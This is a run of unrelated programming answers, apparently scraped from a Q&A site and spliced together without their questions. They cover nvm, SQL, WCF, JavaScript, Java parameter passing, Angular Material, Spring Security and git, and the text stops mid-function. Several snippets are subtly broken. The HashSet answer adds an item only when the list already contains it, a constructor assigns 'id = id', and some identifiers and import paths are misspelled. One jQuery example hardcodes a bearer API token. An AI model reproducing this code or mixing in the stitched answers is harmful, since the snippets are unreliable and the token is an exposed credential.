I have to say that i love Coda, it can do almost anything you need in 'plain' text WebDevelopent, i use it daily to develop simple and complex projects using XHTML,PHP,Javascript,CSS...

Ok, it's not free but compare it with many other development suits and you'll find that that 100$ are really affordable (i bought many months ago when it was at about 60$) In the last version they included a lot of new nice features and whoa... just look at the panic WebSite

Before using coda i was a hardcore ZendStudio User, i used that in Windows,Linux and Mac (i have been user for a long time for all that platforms) as it was developed in Java it was really slow even in a modern MacBookPro.. so i also tested a lots of diferent IDEs for developing but at this moment any of these are as powerful and simple as Coda is

Doing nvm install 10.14, for example, will nvm use that version for the current shell session but it will not always set it as the default for future sessions as you would expect. The node version you get in a new shell session is determined by nvm alias default. Confusingly, nvm install will only set the default alias if it is not already set. To get the expected behaviour, do this:

nvm alias default ''; nvm install 10.14

This will ensure that that version is downloaded, use it for the current session and set it as the default for future sessions.

It happens when you don't properly close the code block:

if (condition){
  // your code goes here*
  { // This doesn't close the code block

Correct way:

if (condition){
  // your code goes here
} // Close the code block

Create a separate table using into statement For example

Select * into Test_123 from [dbo].[Employee] where Name like '%Test%'

Go to the Database Right Click the Database Click on Generate Script Select your table Select advanace option and select the Attribute "Data Only" Select the file "open in new query"

Sql will generate script for you

If you do grouping by virtue of including GROUP BY clause, any expression in SELECT, which is not group function (or aggregate function or aggregated column) such as COUNT, AVG, MIN, MAX, SUM and so on (List of Aggregate functions) should be present in GROUP BY clause.

Example (correct way) (here employee_id is not group function (non-aggregated column), so it must appear in GROUP BY. By contrast, sum(salary) is a group function (aggregated column), so it is not required to appear in the GROUP BYclause.

   SELECT employee_id, sum(salary) 
   FROM employees
   GROUP BY employee_id; 

Example (wrong way) (here employee_id is not group function and it does not appear in GROUP BY clause, which will lead to the ORA-00979 Error .

   SELECT employee_id, sum(salary) 
   FROM employees;

To correct you need to do one of the following :

• Include all non-aggregated expressions listed in SELECT clause in the GROUP BY clause
• Remove group (aggregate) function from SELECT clause.

You can expose the service in two different endpoints. the SOAP one can use the binding that support SOAP e.g. basicHttpBinding, the RESTful one can use the webHttpBinding. I assume your REST service will be in JSON, in that case, you need to configure the two endpoints with the following behaviour configuration

<endpointBehaviors>
  <behavior name="jsonBehavior">
    <enableWebScript/>
  </behavior>
</endpointBehaviors>

An example of endpoint configuration in your scenario is

<services>
  <service name="TestService">
    <endpoint address="soap" binding="basicHttpBinding" contract="ITestService"/>
    <endpoint address="json" binding="webHttpBinding"  behaviorConfiguration="jsonBehavior" contract="ITestService"/>
  </service>
</services>

so, the service will be available at

• http://www.example.com/soap
• http://www.example.com/json

Apply [WebGet] to the operation contract to make it RESTful. e.g.

public interface ITestService
{
   [OperationContract]
   [WebGet]
   string HelloWorld(string text)
}

Note, if the REST service is not in JSON, parameters of the operations can not contain complex type.

Reply to the post for SOAP and RESTful POX(XML)

For plain old XML as return format, this is an example that would work both for SOAP and XML.

[ServiceContract(Namespace = "http://test")]
public interface ITestService
{
    [OperationContract]
    [WebGet(UriTemplate = "accounts/{id}")]
    Account[] GetAccount(string id);
}

POX behavior for REST Plain Old XML

<behavior name="poxBehavior">
  <webHttp/>
</behavior>

Endpoints

<services>
  <service name="TestService">
    <endpoint address="soap" binding="basicHttpBinding" contract="ITestService"/>
    <endpoint address="xml" binding="webHttpBinding"  behaviorConfiguration="poxBehavior" contract="ITestService"/>
  </service>
</services>

Service will be available at

• http://www.example.com/soap
• http://www.example.com/xml

REST request try it in browser,

http://www.example.com/xml/accounts/A123

SOAP request client endpoint configuration for SOAP service after adding the service reference,

  <client>
    <endpoint address="http://www.example.com/soap" binding="basicHttpBinding"
      contract="ITestService" name="BasicHttpBinding_ITestService" />
  </client>

in C#

TestServiceClient client = new TestServiceClient();
client.GetAccount("A123");

Another way of doing it is to expose two different service contract and each one with specific configuration. This may generate some duplicates at code level, however at the end of the day, you want to make it working.

Here is an alternative way to do that.

const conditionsArray = [
    condition1, 
    condition2,
    condition3,
]

if (conditionsArray.indexOf(false) === -1) {
    "do somthing"
}

Or ES6

if (!conditionsArray.includes(false)) {
   "do somthing"
}

Its almost like you have to wipe out your computer to get rid of the old dll. I have already tried everything above and then I went the extra step of just deleting every instance of the .DLL file that was on my computer and removing every reference from the application. However, it still compiles just fine and when it runs it is referencing the dll functions just fine. I'm starting to wonder if it is referencing it from a network drive somehwere.

This is a bit circuitous because touch doesn't take a raw time_t value, but it should do the job pretty safely in a script. (The -r option to date is present in MacOS X; I've not double-checked GNU.) The 'time' variable could be avoided by writing the command substitution directly in the touch command line.

time=$(date -r 1312603983 '+%Y%m%d%H%M.%S')
marker=/tmp/marker.$$
trap "rm -f $marker; exit 1" 0 1 2 3 13 15
touch -t $time $marker
find . -type f -newer $marker
rm -f $marker
trap 0

Use ifelse:

frame$twohouses <- ifelse(frame$data>=2, 2, 1)
frame
   data twohouses
1     0         1
2     1         1
3     2         2
4     3         2
5     4         2
...
16    0         1
17    2         2
18    1         1
19    2         2
20    0         1
21    4         2

The difference between if and ifelse:

• if is a control flow statement, taking a single logical value as an argument
• ifelse is a vectorised function, taking vectors as all its arguments.

The help page for if, accessible via ?"if" will also point you to ?ifelse

I spent a good amount of time trying to work this out today, and couldn't get things working using line-height or vertical-align. The easiest solution I was able to find was to set the <a/> to be relatively positioned so it would contain absolutes, and the :after to be positioned absolutely taking it out of the flow.

a{
    position:relative;
    padding-right:18px;
}
a:after{
    position:absolute;
    content:url(image.png);
}

The after image seemed to automatically center in that case, at least under Firefox/Chrome. Such may be a bit sloppier for browsers not supporting :after, due to the excess spacing on the <a/>.

$('input[type=file]').val()

That'll get you the file selected.

However, you can't set the value yourself.

Actually, Javascript is always pass by value. But because object references are values, objects will behave like they are passed by reference.

So in order to walk around this, stringify the object and parse it back, both using JSON. See example of code below:

var person = { Name: 'John', Age: '21', Gender: 'Male' };

var holder = JSON.stringify(person);
// value of holder is "{"Name":"John","Age":"21","Gender":"Male"}"
// note that holder is a new string object

var person_copy = JSON.parse(holder);
// value of person_copy is { Name: 'John', Age: '21', Gender: 'Male' };
// person and person_copy now have the same properties and data
// but are referencing two different objects

You must must be in your Laravel Project Folder

When creating a new project with laravel new project-name, a folder will be created with your project name as name. You must get in that folder before using any php artisan command like php artisan serve because the artisan file is in that folder

Regex to the rescue!

import re

s = re.sub('[^0-9a-zA-Z]+', '*', s)

Example:

>>> re.sub('[^0-9a-zA-Z]+', '*', 'h^&ell`.,|o w]{+orld')
'h*ell*o*w*orld'

I think this one is working. Recording a video or audio;

<input type="file" accept="video/*;capture=camcorder">
<input type="file" accept="audio/*;capture=microphone">

or (new method)

<device type="media" onchange="update(this.data)"></device>
<video autoplay></video>
<script>
  function update(stream) {
    document.querySelector('video').src = stream.url;
  }
</script>

If it is not, probably will work on ios6, more detail can be found at get user media

I tried about first 5 solutions and different variations of them, but they didn't work for me.

Finally I got it working with these two functions.

$(document).on('click', '.nav-link', function () {
    $(".nav-item").find(".active").removeClass("active");
})

$(document).ready(function() {
    $('a[href="' + location.pathname + '"]').closest('.nav-item').addClass('active'); 
});

None of the above answers helped for some reason, it seems like they sweep errors under the rug and make troubleshooting one's command difficult. So I ended up going with something like this, maybe it will help someone else:

var proc = new Process
{
    StartInfo = new ProcessStartInfo
    {
        FileName = @"C:\Program Files\Microsoft Visual Studio 14.0\Common7\IDE\tf.exe",
        Arguments = "checkout AndroidManifest.xml",
        UseShellExecute = false,
        RedirectStandardOutput = true,
        CreateNoWindow = true,
        WorkingDirectory = @"C:\MyAndroidApp\"
    }
};

proc.Start();

You can pass an access level to the @Getter and @Setter annotations. This is useful to make getters or setters protected or private. It can also be used to override the default.

With @Data, you have public access to the accessors by default. You can now use the special access level NONE to completely omit the accessor, like this:

@Getter(AccessLevel.NONE)
@Setter(AccessLevel.NONE)
private int mySecret;

Look at the open function in Perl - especially the variants using a '|' (pipe) in the arguments. Done correctly, you'll get a file handle that you can use to read the output of the command. The back tick operators also do this.

You might also want to review whether Perl has access to the C functions that the command itself uses. For example, for ls -a, you could use the opendir function, and then read the file names with the readdir function, and finally close the directory with (surprise) the closedir function. This has a number of benefits - precision probably being more important than speed. Using these functions, you can get the correct data even if the file names contain odd characters like newline.

I used Mercury/32 and Pegasus Mail to get the mail() functional. It works great too as a mail server if you want an email address ending with your domain name.

Use Test-Path:

if (!(Test-Path $exactadminfile) -and !(Test-Path $userfile)) {
  Write-Warning "$userFile absent from both locations"
}

Placing the above code in your ForEach loop should do what you want

The documentation has been updated. My answer has substantial changes vs the accepted answer: I wanted to reflect documentation is up-to-date, and accepted answer has a few broken links.

Also, I didn't understand when the accepted answer said "it defaults to node server.js". I think the documentation clarifies the default behavior:

npm-start

Start a package

Synopsis

npm start [-- <args>]

Description

This runs an arbitrary command specified in the package's "start" property of its "scripts" object. If no "start" property is specified on the "scripts" object, it will run node server.js.

In summary, running npm start could do one of two things:

1. npm start {command_name}: Run an arbitrary command (i.e. if such command is specified in the start property of package.json's scripts object)
2. npm start: Else if no start property exists (or no command_name is passed): Run node server.js, (which may not be appropriate, for example the OP doesn't have server.js; the OP runs nodeapp.js )
3. I said I would list only 2 items, but are other possibilities (i.e. error cases). For example, if there is no package.json in the directory where you run npm start, you may see an error: npm ERR! enoent ENOENT: no such file or directory, open '.\package.json'

How about this one?

import signal
signal.pause()

This will let your program sleep until it receives a signal from some other process (or itself, in another thread), letting it know it is time to do something.

There is a way to do it using reflection. It works with .NET 4.0. It accesses a private field and may not work in other versions of .NET without modifications.

I have no idea why Microsoft did not expose this field with a property.

private static int GetStatusCode(WebClient client, out string statusDescription)
{
    FieldInfo responseField = client.GetType().GetField("m_WebResponse", BindingFlags.Instance | BindingFlags.NonPublic);

    if (responseField != null)
    {
        HttpWebResponse response = responseField.GetValue(client) as HttpWebResponse;

        if (response != null)
        {
            statusDescription = response.StatusDescription;
            return (int)response.StatusCode;
        }
    }

    statusDescription = null;
    return 0;
}

If you're purely fetching data, it's a big help to performance when you tell EF to not keep track of the entities it fetches. Do this by using MergeOption.NoTracking. EF will just generate the query, execute it and deserialize the results to objects, but will not attempt to keep track of entity changes or anything of that nature. If a query is simple (doesn't spend much time waiting on the database to return), I've found that setting it to NoTracking can double query performance.

See this MSDN article on the MergeOption enum:

Identity Resolution, State Management, and Change Tracking

This seems to be a good article on EF performance:

Performance and the Entity Framework

$("#myTable").offset().top;

This will give you the computed offset (relative to document) of any object.

curl is a command in linux (and a library in php). Curl typically makes an HTTP request.

What you really want to do is make an HTTP (or XHR) request from javascript.

Using this vocab you'll find a bunch of examples, for starters: Sending authorization headers with jquery and ajax

Essentially you will want to call $.ajax with a few options for the header, etc.

$.ajax({
        url: 'https://api.wit.ai/message?v=20140826&q=',
        beforeSend: function(xhr) {
             xhr.setRequestHeader("Authorization", "Bearer 6QXNMEMFHNY4FJ5ELNFMP5KRW52WFXN5")
        }, success: function(data){
            alert(data);
            //process the JSON data etc
        }
})

Creation of notification channels are compulsory for Android versions after Android 8.1 (Oreo) for making notifications visible. If notifications are not visible in your app for Oreo+ Androids, you need to call the following function when your app starts -

private void createNotificationChannel() {
// Create the NotificationChannel, but only on API 26+ because
// the NotificationChannel class is new and not in the support library
    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
        CharSequence name = getString(R.string.channel_name);
        String description = getString(R.string.channel_description);
        int importance = NotificationManager.IMPORTANCE_DEFAULT;
        NotificationChannel channel = new NotificationChannel(CHANNEL_ID, name,
       importance);
        channel.setDescription(description);
        // Register the channel with the system; you can't change the importance
        // or other notification behaviours after this
        NotificationManager notificationManager =
        getSystemService(NotificationManager.class);
        notificationManager.createNotificationChannel(channel);
   }
}

xs:boolean is predefined with regard to what kind of input it accepts. If you need something different, you have to define your own enumeration:

 <xs:simpleType name="my:boolean">
    <xs:restriction base="xs:string">
      <xs:enumeration value="True"/>
      <xs:enumeration value="False"/>
    </xs:restriction>
  </xs:simpleType>

This could be caused by the pid file created for postgres which has not been deleted due to unexpected shutdown. To fix this, remove this pid file.

1. Find the postgres data directory. On a MAC using homebrew it is /usr/local/var/postgres/, other systems it might be /usr/var/postgres/

2. Remove pid file by running:

   rm postmaster.pid
   

3. Restart postgress. On Mac, run:

   brew services restart postgresql
   

One alternative would be a KeyedCollection if the key is embedded in the value.

Just create a basic implementation in a sealed class to use.

So to replace Dictionary<string, int> (which isn't a very good example as there isn't a clear key for a int).

private sealed class IntDictionary : KeyedCollection<string, int>
{
    protected override string GetKeyForItem(int item)
    {
        // The example works better when the value contains the key. It falls down a bit for a dictionary of ints.
        return item.ToString();
    }
}

KeyedCollection<string, int> intCollection = new ClassThatContainsSealedImplementation.IntDictionary();

intCollection.Add(7);

int valueByIndex = intCollection[0];

I am not sure how to see the actual rows/records that come back.

Stored procedures do not return records. They may have a cursor as an output parameter, which is a pointer to a select statement. But it requires additional action to actually bring back rows from that cursor.

In SQL Developer, you can execute a procedure that returns a ref cursor as follows

var rc refcursor
exec proc_name(:rc)

After that, if you execute the following, it will show the results from the cursor:

print rc

It's sometimes desirable to filter elements based on whether they have data-items attached to them programmatically (aka not via dom-attributes):

$el.filter(function(i, x) { return $(x).data('foo-bar'); }).doSomething();

The above works but is not very readable. A better approach is to use a pseudo-selector for testing this sort of thing:

$.expr[":"].hasData = $.expr.createPseudo(function (arg) {
    return function (domEl) {
        var $el = $(domEl);
        return $el.is("[" + ((arg.startsWith("data-") ? "" : "data-") + arg) + "]") || typeof ($el.data(arg)) !== "undefined";
    };
});

Now we can refactor the original statement to something more fluent and readable:

$el.filter(":hasData('foo-bar')").doSomething();

Looks like now they have the bat in the zip as well

note that you can use windows sc command to do more

e.g.

sc config tomcat7 start= auto

yes the space before auto is NEEDED

You can use the following array methods to obtain a column from a 2D array:

Array.prototype.map()

const array_column = (array, column) => array.map(e => e[column]);

Array.prototype.reduce()

const array_column = (array, column) => array.reduce((a, c) => {
  a.push(c[column]);
  return a;
}, []);

Array.prototype.forEach()

const array_column = (array, column) => {
  const result = [];

  array.forEach(e => {
    result.push(e[column]);
  });

  return result;
};

If your 2D array is a square (the same number of columns for each row), you can use the following method:

Array.prototype.flat() / .filter()

const array_column = (array, column) => array.flat().filter((e, i) => i % array.length === column);

what about just store the output to the static table ? Like

-- SubProcedure: subProcedureName
---------------------------------
-- Save the value
DELETE lastValue_subProcedureName
INSERT INTO lastValue_subProcedureName (Value)
SELECT @Value
-- Return the value
SELECT @Value

-- Procedure
--------------------------------------------
-- get last value of subProcedureName
SELECT Value FROM lastValue_subProcedureName

its not ideal, but its so simple and you don't need to rewrite everything.

UPDATE: the previous solution does not work well with parallel queries (async and multiuser accessing) therefore now Iam using temp tables

-- A local temporary table created in a stored procedure is dropped automatically when the stored procedure is finished. 
-- The table can be referenced by any nested stored procedures executed by the stored procedure that created the table. 
-- The table cannot be referenced by the process that called the stored procedure that created the table.
IF OBJECT_ID('tempdb..#lastValue_spGetData') IS NULL
CREATE TABLE #lastValue_spGetData (Value INT)

-- trigger stored procedure with special silent parameter
EXEC dbo.spGetData 1 --silent mode parameter

nested spGetData stored procedure content

-- Save the output if temporary table exists.
IF OBJECT_ID('tempdb..#lastValue_spGetData') IS NOT NULL
BEGIN
    DELETE #lastValue_spGetData
    INSERT INTO #lastValue_spGetData(Value)
    SELECT Col1 FROM dbo.Table1
END

 -- stored procedure return
 IF @silentMode = 0
 SELECT Col1 FROM dbo.Table1

For me when I created a file and saved it as python file, I was getting this error during importing. I had to create a filename with the type ".py" , like filename.py and then save it as a python file. post trying to import the file worked for me.

import string

asking = "".join(l for l in asking if l not in string.punctuation)

filter with string.punctuation.

Take a look at the Python tutorial section 4.7.3 and 4.7.4. It talks about passing tuples as arguments.

I would also consider using named parameters (and passing a dictionary) instead of using a tuple and passing a sequence. I find the use of positional arguments to be a bad practice when the positions are not intuitive or there are multiple parameters.

IF NOT EXISTS (SELECT 1
FROM syscolumns sc
JOIN sysobjects so
ON sc.id = so.id
WHERE so.Name = 'Table1'
AND sc.Name = 'Col1')
BEGIN
ALTER TABLE Table1
ADD Col1 INT NOT NULL DEFAULT 0;
END
GO

Just like the accepted answer says a HashSet doesn't have an order. If order is important you can continue to use a List and check if it contains the item before you add it.

if (_remoteDevices.Contains(rDevice))
    _remoteDevices.Add(rDevice);

Performing List.Contains() on a custom class/object requires implementing IEquatable<T> on the custom class or overriding the Equals. It's a good idea to also implement GetHashCode in the class as well. This is per the documentation at https://msdn.microsoft.com/en-us/library/ms224763.aspx

public class RemoteDevice: IEquatable<RemoteDevice>
{
    private readonly int id;
    public RemoteDevice(int uuid)
    {
        id = id
    }
    public int GetId
    {
        get { return id; }
    }

    // ...

    public bool Equals(RemoteDevice other)
    {
        if (this.GetId == other.GetId)
            return true;
        else
            return false;
    }
    public override int GetHashCode()
    {
        return id;
    }
}

you should use the break statement

usually it's use this way

$i = 0;
foreach($data as $key => $row){
    if(++$i > 2) break;
}

on the same fashion the continue statement exists if you need to skip some items.

Here is one more alternative that uses XSL transformations for more complex email templates: Sending HTML-based email from .NET applications.

Java is always pass by value, not pass by reference

First of all, we need to understand what pass by value and pass by reference are.

Pass by value means that you are making a copy in memory of the actual parameter's value that is passed in. This is a copy of the contents of the actual parameter.

Pass by reference (also called pass by address) means that a copy of the address of the actual parameter is stored.

Sometimes Java can give the illusion of pass by reference. Let's see how it works by using the example below:

public class PassByValue {
    public static void main(String[] args) {
        Test t = new Test();
        t.name = "initialvalue";
        new PassByValue().changeValue(t);
        System.out.println(t.name);
    }
    
    public void changeValue(Test f) {
        f.name = "changevalue";
    }
}

class Test {
    String name;
}

The output of this program is:

changevalue Let's understand step by step:

Test t = new Test(); As we all know it will create an object in the heap and return the reference value back to t. For example, suppose the value of t is 0x100234 (we don't know the actual JVM internal value, this is just an example) .

first illustration

new PassByValue().changeValue(t);

When passing reference t to the function it will not directly pass the actual reference value of object test, but it will create a copy of t and then pass it to the function. Since it is passing by value, it passes a copy of the variable rather than the actual reference of it. Since we said the value of t was 0x100234, both t and f will have the same value and hence they will point to the same object.

second illustration

If you change anything in the function using reference f it will modify the existing contents of the object. That is why we got the output changevalue, which is updated in the function.

To understand this more clearly, consider the following example:

public class PassByValue {
    public static void main(String[] args) {
        Test t = new Test();
        t.name = "initialvalue";
        new PassByValue().changeRefence(t);
        System.out.println(t.name);
    }
    
    public void changeRefence(Test f) {
        f = null;
    }
}

class Test {
    String name;
}

Will this throw a NullPointerException? No, because it only passes a copy of the reference. In the case of passing by reference, it could have thrown a NullPointerException, as seen below:

Hopefully this will help.

How to design table like this in mongodb?

First, to clarify some naming conventions. MongoDB uses collections instead of tables.

I think there are no foreign keys!

Take the following model:

student
{ 
  _id: ObjectId(...),
  name: 'Jane',
  courses: [
    { course: 'bio101', mark: 85 },
    { course: 'chem101', mark: 89 }
  ]
}

course
{
  _id: 'bio101',
  name: 'Biology 101',
  description: 'Introduction to biology'
}

Clearly Jane's course list points to some specific courses. The database does not apply any constraints to the system (i.e.: foreign key constraints), so there are no "cascading deletes" or "cascading updates". However, the database does contain the correct information.

In addition, MongoDB has a DBRef standard that helps standardize the creation of these references. In fact, if you take a look at that link, it has a similar example.

How can I solve this task?

To be clear, MongoDB is not relational. There is no standard "normal form". You should model your database appropriate to the data you store and the queries you intend to run.

Generally speaking, a software product isn't your "property already", as you said in the comment. Most of the times (I won't be irresponsible to say anything in open), it's licensed to you. A license to use some thing is not the same thing as owning (property rights) that very same thing.

That's because there are authorship, copyright, intellectual property rights applicable to it. I don't know how things work in United States (or in your country), but it's generally accepted that the work of a mind, a creative work, must not be changed in its nature as such to make the expression of art to be different than that expression that the author intended. That applies for example, in some cases, to architectural work (in most countries, you can't change the appearance of a building to "desfigure" the work of art of the architect, without his prior consent). Exceptions are made, obviously, when the author expressly authorizes such changes (e.g., Creative Commons licenses, open source licenses etc.).

Anyway, that's why you see in most EULAs the typical sentence: "this software is licensed, not sold". That's the purpose and reason why.

Now that you understand the reasons why you can't wander around changing other people's art, let me be technical.

There are possible ways to decompile Java programs. You can use dex2jar, it provides a somewhat good start for you to start looking for things and changes. And perhaps rebuild the code by mounting back the pieces together. Good luck, as most people obfuscate their codes to make that harder.

However, let me say that it's still forbidden to change programs, as I said above. And it's extremely unethical. It makes me sad that people do that with no scruples (not saying it's your case, just warning you). It shouldn't need people to be at the other side to understand that. Or maybe that's just me, who lives in a country where piracy is rampant.

The tools are always out there. But the conscience, unfortunately, not always.

edit: in case it isn't clear enough already, I do NOT approve the use of these programs. I use them myself to check how hard my own applications are to be reverse engineered. But I also think that explaning is always better than denial (better be here).

Simply add icon in button element here is the example

   <button class="social-signup facebook"> 
     <i class="fa fa-facebook-official"></i>  
      Sign up with Facebook</button>

In my case, click event was propagating on child element. So, I had to put the following:

e.stopPropagation()

on click event:

 $(document).on("click", ".remove-discount-button", function (e) {
           e.stopPropagation();
           //some code
        });
 $(document).on("click", ".current-code", function () {
     $('.remove-discount-button').trigger("click");
 });

Here is the html code:

 <div class="current-code">                                      
      <input type="submit" name="removediscountcouponcode" value="
title="Remove" class="remove-discount-button">
   </div>

You may want to take a different approach: Instead of changing the css dynamically, predefine your styles in CSS the way you want them. Then use JQuery to add and remove styles from within Javascript. (see code from Ajmal)

Yes you should change the name of your function. Javascript has reserved methods and onclick = >>>> click() <<<< is one of them so just rename it, add an 's' to the end of it or something. strong text`

I have observed a similar issue in my project. The issue was solved when the jar with the missing class definition was pasted into the lib directory of tomcat.

After following the steps suggested by previous posters, do the following steps:

• Right click on the project
• Click Maven, then Update Project
• Tick the checkbox "Force Update of Snapshots/Releases", then click OK

You should be good to go now.

For me it worked like this

 public void onTextChanged(CharSequence s, int start,
                    int before, int count) {
                if(!s.toString().matches("^\\$(\\d{1,3}(\\,\\d{3})*|(\\d+))(\\.\\d{2})?$"))
                {
                    String userInput= ""+s.toString().replaceAll("[^\\d]", "");
                    if (userInput.length() > 2) {
                        Float in=Float.parseFloat(userInput);
                        price = Math.round(in); // just to get an Integer
                        //float percen = in/100;
                        String first, last;
                        first = userInput.substring(0, userInput.length()-2);
                        last = userInput.substring(userInput.length()-2);
                        edEx1.setText("$"+first+"."+last);
                        Log.e(MainActivity.class.toString(), "first: "+first + " last:"+last);
                        edEx1.setSelection(edEx1.getText().length());
                    }
                }
            }

    <script>

        // Instantiate your javascript function
        niceJavascriptRoutine = null;

        // Begin jQuery
        $(document).ready(function() {

            // Your jQuery function
            function niceJqueryRoutine() {
                // some code
            }
            // Point the javascript function to the jQuery function
            niceJavaScriptRoutine = niceJueryRoutine;

        });

    </script>

You can load HTML page partial, in your case is everything inside div#mytable.

setTimeout(function(){
   $( "#mytable" ).load( "your-current-page.html #mytable" );
}, 2000); //refresh every 2 seconds

more information read this http://api.jquery.com/load/

Update Code (if you don't want it auto-refresh)

<button id="refresh-btn">Refresh Table</button>

<script>
$(document).ready(function() {

   function RefreshTable() {
       $( "#mytable" ).load( "your-current-page.html #mytable" );
   }

   $("#refresh-btn").on("click", RefreshTable);

   // OR CAN THIS WAY
   //
   // $("#refresh-btn").on("click", function() {
   //    $( "#mytable" ).load( "your-current-page.html #mytable" );
   // });


});
</script>

>>> any([False, False, False])

I think if I understand correctly this is what you are doing.

ImageView view = (ImageView) findViewById(R.id.someImage);
view.setOnClickListener(new OnClickListener() {
    @Override
    public void onClick(View view) {
        ImageView imageView = (ImageView) view;
        assert(R.id.someImage == imageView.getId());

        switch(getDrawableId(imageView)) {
            case R.drawable.foo:
                imageView.setDrawableResource(R.drawable.bar);
                break;
            case R.drawable.bar:
            default:
                imageView.setDrawableResource(R.drawable.foo);
            break;
        }
    });

Right? So that function getDrawableId() doesn't exist. You can't get a the id that a drawable was instantiated from because the id is just a reference to the location of data on the device on how to construct a drawable. Once the drawable is constructed it doesn't have a way to get back the resourceId that was used to create it. But you could make it work something like this using tags

ImageView view = (ImageView) findViewById(R.id.someImage);
view.setOnClickListener(new OnClickListener() {
    @Override
    public void onClick(View view) {
        ImageView imageView = (ImageView) view;
        assert(R.id.someImage == imageView.getId());

        // See here
        Integer integer = (Integer) imageView.getTag();
        integer = integer == null ? 0 : integer;

        switch(integer) {
        case R.drawable.foo:
            imageView.setDrawableResource(R.drawable.bar);
            imageView.setTag(R.drawable.bar);
            break;
        case R.drawable.bar:
        default:
            imageView.setDrawableResource(R.drawable.foo);
            imageView.setTag(R.drawable.foo);
            break;
        }
    });

As per the title of the post I just needed to get all values from a specific column. Here is the code I used to achieve that.

    public static IEnumerable<T> ColumnValues<T>(this DataColumn self)
    {
        return self.Table.Select().Select(dr => (T)Convert.ChangeType(dr[self], typeof(T)));
    }

You can get the same error in Asp.net MVC5 if you have a class name and a folder with a matching name Example : If you have class lands where when you want to see view/lands/index.cshtml file, if you also have a folder with name 'lands' you get the error as it first try the lands folder

There are (more than) three popular ways to use MySQL from PHP. This outlines some features/differences PHP: Choosing an API:

1. (DEPRECATED) The mysql functions are procedural and use manual escaping.
2. MySQLi is a replacement for the mysql functions, with object-oriented and procedural versions. It has support for prepared statements.
3. PDO (PHP Data Objects) is a general database abstraction layer with support for MySQL among many other databases. It provides prepared statements, and significant flexibility in how data is returned.

I would recommend using PDO with prepared statements. It is a well-designed API and will let you more easily move to another database (including any that supports ODBC) if necessary.

I disabled avast antivirus for 10 minutes and get it working.

To illustrate the need for move semantics, let's consider this example without move semantics:

Here's a function that takes an object of type T and returns an object of the same type T:

T f(T o) { return o; }
  //^^^ new object constructed

The above function uses call by value which means that when this function is called an object must be constructed to be used by the function.
Because the function also returns by value, another new object is constructed for the return value:

T b = f(a);
  //^ new object constructed

Two new objects have been constructed, one of which is a temporary object that's only used for the duration of the function.

When the new object is created from the return value, the copy constructor is called to copy the contents of the temporary object to the new object b. After the function completes, the temporary object used in the function goes out of scope and is destroyed.

Now, let's consider what a copy constructor does.

It must first initialize the object, then copy all the relevant data from the old object to the new one.
Depending on the class, maybe its a container with very much data, then that could represent much time and memory usage

// Copy constructor
T::T(T &old) {
    copy_data(m_a, old.m_a);
    copy_data(m_b, old.m_b);
    copy_data(m_c, old.m_c);
}

With move semantics it's now possible to make most of this work less unpleasant by simply moving the data rather than copying.

// Move constructor
T::T(T &&old) noexcept {
    m_a = std::move(old.m_a);
    m_b = std::move(old.m_b);
    m_c = std::move(old.m_c);
}

Moving the data involves re-associating the data with the new object. And no copy takes place at all.

This is accomplished with an rvalue reference.
An rvalue reference works pretty much like an lvalue reference with one important difference:
an rvalue reference can be moved and an lvalue cannot.

From cppreference.com:

To make strong exception guarantee possible, user-defined move constructors should not throw exceptions. In fact, standard containers typically rely on std::move_if_noexcept to choose between move and copy when container elements need to be relocated. If both copy and move constructors are provided, overload resolution selects the move constructor if the argument is an rvalue (either a prvalue such as a nameless temporary or an xvalue such as the result of std::move), and selects the copy constructor if the argument is an lvalue (named object or a function/operator returning lvalue reference). If only the copy constructor is provided, all argument categories select it (as long as it takes a reference to const, since rvalues can bind to const references), which makes copying the fallback for moving, when moving is unavailable. In many situations, move constructors are optimized out even if they would produce observable side-effects, see copy elision. A constructor is called a 'move constructor' when it takes an rvalue reference as a parameter. It is not obligated to move anything, the class is not required to have a resource to be moved and a 'move constructor' may not be able to move a resource as in the allowable (but maybe not sensible) case where the parameter is a const rvalue reference (const T&&).

If you are not a big fan of operator overloading, or just more of a functional type:

// use flatMap
let result = [
    ["merge", "me"], 
    ["We", "shall", "unite"],
    ["magic"]
].flatMap { $0 }
// Output: ["merge", "me", "We", "shall", "unite", "magic"]

// ... or reduce
[[1],[2],[3]].reduce([], +)
// Output: [1, 2, 3]

Follow these steps to begin using Angular Material.

Step 1: Install Angular Material

npm install --save @angular/material

Step 2: Animations

Some Material components depend on the Angular animations module in order to be able to do more advanced transitions. If you want these animations to work in your app, you have to install the @angular/animations module and include the BrowserAnimationsModule in your app.

npm install --save @angular/animations

Then

import {BrowserAnimationsModule} from '@angular/platform browser/animations';

@NgModule({
...
  imports: [BrowserAnimationsModule],
...
})
export class PizzaPartyAppModule { }

Step 3: Import the component modules

Import the NgModule for each component you want to use:

import {MdButtonModule, MdCheckboxModule} from '@angular/material';

@NgModule({
...
imports: [MdButtonModule, MdCheckboxModule],
...
 })
 export class PizzaPartyAppModule { }

be sure to import the Angular Material modules after Angular's BrowserModule, as the import order matters for NgModules

import { BrowserModule } from '@angular/platform-browser';
import { NgModule } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { HttpModule } from '@angular/http';
import {BrowserAnimationsModule} from '@angular/platform-browser/animations';

import {MdCardModule} from '@angular/material';
@NgModule({
    declarations: [
        AppComponent,
        HeaderComponent,
        HomeComponent
    ],
    imports: [
        BrowserModule,
        FormsModule,
        HttpModule,
        MdCardModule
    ],
    providers: [],
    bootstrap: [AppComponent]
})
export class AppModule { }

Step 4: Include a theme

Including a theme is required to apply all of the core and theme styles to your application.

To get started with a prebuilt theme, include the following in your app's index.html:

<link href="../node_modules/@angular/material/prebuilt-themes/indigo-pink.css" rel="stylesheet">

@Configuration
@EnableWebSecurity
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {

    @Override
    protected void configure(HttpSecurity http) throws Exception {

        String[] resources = new String[]{
                "/", "/home","/pictureCheckCode","/include/**",
                "/css/**","/icons/**","/images/**","/js/**","/layer/**"
        };

        http.authorizeRequests()
                .antMatchers(resources).permitAll()
                .anyRequest().authenticated()
                .and()
            .formLogin()
                .loginPage("/login")
                .permitAll()
                .and()
            .logout().logoutUrl("/404")
                .permitAll();
        super.configure(http);
    }
}

If you want to UPDATE a tag, let's say it 1.0.0

1. git checkout 1.0.0
2. make your changes
3. git ci -am 'modify some content'
4. git tag -f 1.0.0
5. delete remote tag on github: git push origin --delete 1.0.0
6. git push origin 1.0.0

DONE

I believe this could be a simpler way:

    public int BusinessDaysUntil(DateTime start, DateTime end, params DateTime[] bankHolidays)
    {
